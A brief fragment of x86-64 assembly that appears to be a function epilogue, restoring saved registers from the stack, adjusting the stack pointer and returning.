mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rbp
ret